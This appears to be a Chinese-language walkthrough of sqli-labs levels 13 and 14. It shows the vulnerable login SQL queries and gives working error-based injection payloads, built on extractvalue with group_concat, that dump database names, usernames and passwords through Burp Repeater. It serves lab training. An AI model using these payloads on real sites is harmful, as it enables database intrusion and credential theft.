首先咱们在用户名和密码栏中随意输入一些字符,然后打开burp抓包。
在此之前我们可以将原始文件用文本编辑器打开,于是我们可以得到第十三题的sql语句,如下:
@$sql="SELECt username, password FROM users WHERe username=('$uname') and password=('$passwd') LIMIT 0,1";
由此我们可以得知第十三题的结束符号是 ') ,
知道了这个在后面我们可以方便很多。
回到burp,我们需要将抓到的东西放到中继器里。
当我们输入')--+时没有报错。
那么接下来我们就需要使用extractvalue来使其报错并显示出其数据库里面的一些内容。
') and extractvalue(1,concat('%', (select group_concat(schema_name) from information_schema.schemata)))--+
比如这一句,就成功的让网页显示了数据库里的表名。
同理,我们也可以用类似的方法让它显示出数据库里的用户和密码:
显示用户名:uname=aaaaaaa') and extractvalue(1,concat('%', (select group_concat(username) from users))) --+&passwd=bbbbbbbbb&submit=Submit
显示密码: uname=aaaaaaa') and extractvalue(1,concat('%', (select group_concat(password) from users))) --+&passwd=bbbbbbbbb&submit=Submit
然后我们将这样得到的用户名和密码输入网页的相应位置,就成功了。
第十四题也是同样的做法,只不过是sql语句有些改变。
$uname='"'.$uname.'"';
$passwd='"'.$passwd.'"';
@$sql="SELECt username, password FROM users WHERe username=$uname and password=$passwd LIMIT 0,1";
由上可知:14题的结束符是 " 。
后面的做法就和十三题一样了,只需把结束符号替换掉就能得到想要的结果。



